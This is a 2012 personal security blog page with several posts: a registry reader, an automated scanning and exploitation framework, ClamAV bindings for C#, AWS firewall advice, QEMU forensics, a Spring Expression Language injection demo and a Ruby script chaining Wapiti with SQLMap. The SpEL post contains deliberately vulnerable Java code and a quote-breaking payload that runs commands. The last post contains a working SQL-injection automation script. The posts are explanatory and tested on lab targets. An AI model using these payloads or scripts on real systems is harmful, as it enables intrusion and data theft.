Sunday, October 28, 2012

Introducing volatile_reader

Today I decided I was going to write a small offline registry reader in C# using GTK for the UI. I actually intend on adding both evt and evtx support as well, but these will come later.



In order to read the hives, I wrote a small library included with the utility called VolatileReader.Registry. It is super fast and efficient, it uses a BinaryReader to zip around and read the hive rather than reading the hive into memory, then parsing it. All you must do is pass the contructor of RegistryHive the path to your hive:


RegistryHive hive = new RegistryHive(file);

You can check out the code here: https://github.com/brandonprry/volatile_reader

Sunday, October 21, 2012

Introducing rising_sun

I have recently open-sourced a personal project of mine that I have used as an automated security test bed of a sort. Using bindings I have written for popular pieces of software, I have written a small framework for automating these tools and passing their relevant data from one tool to the next. A general architecture overview is required. Most of the tools are free and open source.

The framework has three main parts. An API (needs a lot of work), a Web UI (kind of OK), and a Service (solid, small, runs and manages the Profiles and Scans). It is written in C# and ASP.NET, so it is cross platform (I develop on Linux using monodevelop). Most tools are in scripting languages too or are also cross-platform. Using PGSql as the DB backend and FluentNHibernate for persistence. In order to automate OpenVAS, Nexpose, Nessus, and Metasploit, I am using my openvas-sharp, nexpose-sharp, nessus-sharp, and metasploit-sharp bindings.

When you create a profile via the Web UI, the scan of the profile takes place in two parts, breadth and depth. First, the service gathers as much surface area of the host as possible. This is called the Profile phase. Once the host has been profiled and it's attack surface area figured out, we move onto the Scan phase, where we actively attempt to find vulns using the surface area we determined in the previous phase.

Current tools automated during the Profile phase are Nmap (in a few incarnations), Nikto, sslscan, onesixtyone, smbclient, and a few others off the top of my head, with more web fingerprinting and other tools  in the pipeline (MBSA is one). smbclient will loop through each share it can find and attempt to log in anonymously (unless creds are provided) and attempt an "ls;recurse" which tells smbclient to list all files on the share. This phase can be considered mostly passive and can be run on it own with no Scan attached.

Current tools automated during the Scan phase are OpenVAS, Nexpose, Nessus, Metasploit/Pro, Wapiti, DSXS, and SQLMap. This phase is by far the most important and integrative. We use all the data collected in the previous profile to decide what to scan. By using as many vuln scanners like OpenVAS, Nexpose, and Nessus as possible, you can find far better results in terms of deducing false positives and false negatives (2 out of 3 report this, 33% chance false positive. 1 out of 3 report that, 66% chance false positive). This phase is laid out like a pyramid, with Metasploit on top. Before Wapiti and SQLMap are run, your vuln assessment scans are kicked off. As these run, we fuzz any known web services running that we know about with Wapiti (not just port 80 and 443, anything NMap decided was http). We take this XML report it creates (must run trunk) and parse it and figure out exactly what wapiti found and pass on the relevant details to SQLMap and DSXS to figure out exactly how to exploit any SQL injection or XSS  vulnerabilities. I use some novel methods to ensure SQLMap only tests what Wapiti was found to find vulnerable, so it is pretty quick, and can be made quicker with a few tweaks. This requires a Profile to have been run.

In the end, the data from wapiti, openvas, nessus, and nexpose are fed into metasploit via sshfs mountint the remote /tmp locally. Then a metasploit pro discovery  is done, then a quick bruteforce, then an exploit task is started using all the data from the previous scans. Once this is done, the scan phase is over and persisted and your results will be in the web UI.

Not all tools are required, if you don't have access to Metasploit Pro, you can simply choose to not run it. The same goes for OpenVAS, Nexpose, and Nessus. It is granular to that point. You may also choose to not run the web assessment, and only run the general vuln assessment(s).

Most of the data collected is presented in the UI in some form or fashion, but not all of it is. Installation isn't straight forward so please read the README.

Generally I run against: a vulnerable FreeNAS distro, Metasploitable2 with TWiki removed, BadStore, and a vulnerable Windows XP SP2 machine.

Please hit me up on IRC (bperry on Freenode, idle in #metasploit) if you have trouble setting up (you probably will, but I hope you don't!).

Friday, October 12, 2012

Integrating ClamAV into your C# applications

During the VP debate, I decided to write some ClamAV bindings for C# that were up to date. The current C# lib for libclamav that is linked on the ClamAV website is from 2005 and no longer useful. Here is a small introduction.

The main objects you will probably work with as a programmer is probably the ClamEngine and ClamResult objects. Since we are interfacing with a library written in C, we must take into account memory leaks. The ClamEngine implements IDisposable and is intended to be used in the context of a using statement. If you are using .NET 1.1 and do not have the using statement available, you will need to call Dispose() explicitly. Here is an example application:
using System;
using clamsharp;

namespace testing
{
   class MainClass
   {
 public static void Main (string[] args)
 {
  using (ClamEngine e = new ClamEngine())
  {
   foreach (string file in args)
   {
    ClamResult result = e.ScanFile(file); //pretty simple!
     
    if (result != null && result.ReturnCode == ClamReturnCode.CL_VIRUS)
     Console.WriteLine("Found: " + result.VirusName);
    else
     Console.WriteLine("File Clean!");
   }
  } //engine is disposed of here and the allocated engine freed
 }
   }
}
One note: If you want it to build on Windows, you will need to change the DllImport's to point to where ever on Windows you need to point to in ClamBindings.

clamd TCP bindings are probably on their way soon, it will be easy enough. The main code is thoroughly documented, but if you still have question after that, feel free to ask on Github.

If you would like to test this without a real virus, I recommend using EICAR.

Wednesday, September 12, 2012

Theoretical vulnerabilities using the Spring Expression Language

The past two days, I have been taking Core Spring training (work paid for it, why not). Our instructor ended up bringing up the Spring Expression Language (or SpEL), and showed us how it could be used to parse values and various other things.

While playing around with it, I was curious if I could evaluate java code at runtime that could execute calc.exe and after a few minutes of tinkering, I was able to execute calc.exe via the Spring Expression Language. It was easy enough:

ExpressionParser p = new SpelExpressionParser(); 
Expression e = p.parseExpression("T(Runtime).getRuntime().exec('calc.exe')"); //set expression to eval 
e.getValue(); //eval

Once I had this bit figured out, I realised the potential for Remote Command Execution via the expression language. The way to get a program using the Spring Expression Language to evaluate unintended code is very similar to the way a SQL injection works, but there are some catches and nuances, and I will go over them here. This whole post is theoretical only, as I have never actually come across this vulnerability before. However, it would be easy for a programmer not completely familiar with how the expression language works to write vulnerable code that allowed remote code execution.

For instance, take the following code:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.util.Assert;
import org.apache.commons.logging.LogFactory; 
import java.io.*;
import java.util.Date;

public class main {

 /**
  * @param args
  * @throws Exception 
  */
 public static void main(String[] args) throws Exception {
  // TODO Auto-generated method stub
  ExpressionParser parser = new SpelExpressionParser();

  System.out.println("Please enter a date and I will parse it:");
  java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
         String line = stdin.readLine();
  Expression exp = parser.parseExpression(line);  
  Date date = (Date)exp.getValue();

  System.out.println(date.toString());
 }
}

The vulnerability is obvious, the program does no checking whatsoever to ensure the user isn't inputing something they shouldn't. Simply typing:

T(Runtime).getRuntime().exec('calc.exe')

would execute calc.exe, then error out since the string you passed in is obviously not a Date.

Let's take the vulnerability a step further though. Let's modify the above code slightly.

Turn the following:
Expression exp = parser.parseExpression(line);

into:
Expression exp = parser.parseExpression("'" + line + "'");


This code change technically fixes a bug in our code. In the previous code, if the user entered a Date that was not surrounded by single-quotes, then the application would error out. By adding the single-quotes in our code, the user can enter the Date value without the single-quotes. This also makes it a bit more difficult to exploit, however not impossible. In order to exploit this new code, we can think about this vulnerability as if it were a SQL injection vulnerability, with a few catches.

We need to make a semantically-correct string that will be eval'ed that will "break out" of the current quotes that we have added to the codebase. To do this, we can use some of the operators at our disposal that the Spring Expression Language has.

My first attempt to exploit the new code was to use the 'and' operator. This was fruitless since Java is a strongly-typed language and Java was trying to evaluate the strings as boolean values, which did not work. After a few more minutes, I figured out how to break out of the quotes and have Spring evaluate and execute my payload:

02/12/2012' == T(Runtime).getRuntime().exec('calc.exe').toString() + '

The resulting string that gets eval'ed is this:
'02/12/2012' == T(Runtime).getRuntime().exec('calc.exe').toString() + ''

Basically, I am asking Spring to evaluate whether the string to the left of my == operator is the same as my payload, which must be evaluated and executed before the comparison can happen. calc.exe gets executed and now I am happy.

You may find the full code examples here and here.

Sunday, August 5, 2012

Security on the AWS cloud

I have been working with EC2 in my free time (what's that?) and realised some bad information had been spread about how to get your instances to talk with one another. By default, the instances do not respond to pings or nmap's from other machines due to very restrictive firewall settings. This is a good thing. The bad thing was that I was reading on forums that setting your All ICMP, All UDP, and All TCP firewall settings to 0.0.0.0/0 was the easiest fix. While this is true, it is the easiest fix, it isn't very secure. I was able to nmap a small subnet inside the EC2 cloud (internal network, not external) and found 30 machines responding. When you put 0.0.0.0/0, you let everyone inside that network ping, port scan, and connect to your computer. By being more granular, and setting your firewall rules to the specific instances that you want talking (111.222.122.123/32), you are protecting your machine from threats inside this cloud network. Setting your All ICMP, All UDP, and All TCP to 0.0.0.0/0 is just opening yourself up needelessly for an attack. It may take you an extra 5 minutes to create a rule for each host you want communicating.

Monday, July 16, 2012

Performing forensics on RAMDisk based operating system via QEMU

I came across a problem requiring me to get to a filesystem resident in RAM via a RAMDisk. I used QEMU to dump this to a file for further analysis.

The system at hand was disk encryption software that performs some disk trickery in order to unlock the drive after supplying credentials to the disk encryption software. The disk encryption software was Linux based. However, the RAMDisk was being initiated by MSDOS startup files. It was a very weird setup.

I was able to use QEMU and an Ubuntu Live USB disk to dump what I needed. Because the disk encryption was resident on the HDD instead of the BIOS, I was able to boot to my Live USB and circumvent the HDD entirely. Once in the Live System, I installed qemu and ghex.

Using
qemu-system-i386 -hda /dev/sda -monitor stdio
 
I was able to boot the hard disk into a virtualised environment. -monitor stdio gives me a qemu shell prompt in the bash shell that I started the QEMU instance in. This is how we will be saving the full state of the VM. Once booted into the disk encryption software, I ran the following to see what devices I had at my disposal

(qemu) info block
ide0-hd0: removable=0 io-status=ok file=/dev/sda ro=0 drv=raw encrypted=0
ide1-cd0: removable=1 locked=0 tray-open=0 io-status=ok [not inserted]
floppy0: removable=1 locked=0 tray-open=0 [not inserted]
sd0: removable=1 locked=0 tray-open=0 [not inserted]
(qemu)


Now that I have the disks, the hd0 block is what I want. We want to create a new file to save our vm into.

snapshot_blkdev ide0-hd0 dump


Now save the vm's state into the dump file

savevm


You may now use further, more advanced techniques to analyse the contents of the RAM disk by using a hex editor or various other tools to extract the wanted data from the saved state of the vm.

Sunday, May 20, 2012

Automating SQLMap with data from wapiti

Wapiti is really fast at finding possible sql injection points in a web application or website. SQLMap is great at figuring out how to exploit these possible injection points. The following script runs Wapiti on a host to find possible injection points, then passes that data to SQLMap to try and exploit. Tested on BadStore and running SVN latest of both Wapiti and SQLMap. You can play around with the arguments I am passing to SQLMap and make the scans a bit more thorough, but at the expense of speed.
#!/usr/bin/env ruby
 
require 'active_support/secure_random'
require 'rexml/document'
 
wapiti_path = '/home/bperry/tools/wapiti/trunk/src/'
sqlmap_path = '/home/bperry/tools/sqlmap/'
 
wapiti_report_path = '/tmp/wapiti_report_' + SecureRandom.uuid + '.xml'
 
remote_host = ARGV[0]
 
p "Running wapiti..."
`#{wapiti_path}wapiti.py #{ARGV[0]} -f xml -o #{wapiti_report_path}`
 
p "Report saved to #{wapiti_report_path}"
 
p "Parsing results"
 
results = []
 
report = ::File.open(wapiti_report_path, "rb")
doc = REXML::Document.new report.read
 
doc.elements.each('/report/bugTypeList/bugType') do |element|
        bug_type = element.attributes["name"]
 
        next if bug_type != "SQL Injection"
 
        p "Parsing " + bug_type
 
        result = {}
        element.elements.each("bugList/bug") do |bug|
                result[:type] = bug_type
               
                bug.elements.each do |child|
                        if child.name == "url"
                                result[:url] = child.text
                        elsif child.name == "parameter"
                                result[:parameter] = child.text
                        end
                end
                results << result
                result = {}
        end
end
 
results.each do |result|
        next if result[:type] !~ /SQL Injection/
        p "Running sqlmap"
       
        if result[:url].index(result[:parameter])
                url = result[:url].gsub("%BF%27%22%28", "abcd")
       
                params = result[:url].split("?")[1].split("&")
 
                skipped_params = []
                params.each do |param|
                        skipped_params << param.split("=")[0] if not param.index("%BF%27%22%28")
                end
                       
                p "Running GET sql injection test on url: " + url
                sqlmap_command = "#{sqlmap_path}sqlmap.py -u \"#{url}\" --smart --skip=\"#{skipped_params.join(",")}\" --technique=EUS --flush-session --fresh-queries --level=2 --batch"
                out = `#{sqlmap_command}`
                printf out
        else
                url = result[:url]
                p "Running POST sql injection test on url: " + url
                p "With data: " + result[:parameter]
 
                parameter = result[:parameter].gsub("%BF%27%22%28", "abcd")
 
                params = result[:parameter].split("&")
 
                skipped_params = []
                params.each do |param|
                        skipped_params << param.split("=")[0] if not param.index("%BF%27%22%28")
                end
 
                sqlmap_command = "#{sqlmap_path}sqlmap.py -u \"#{url}\" --data=\"#{parameter}\"  --skip=\"#{skipped_params.join(",")}\" --smart --technique=EUS --flush-session --fresh-queries --level=2 --batch"
                p sqlmap_command
                sqlmap_output = `#{sqlmap_command}`
               
                printf sqlmap_output
        end
end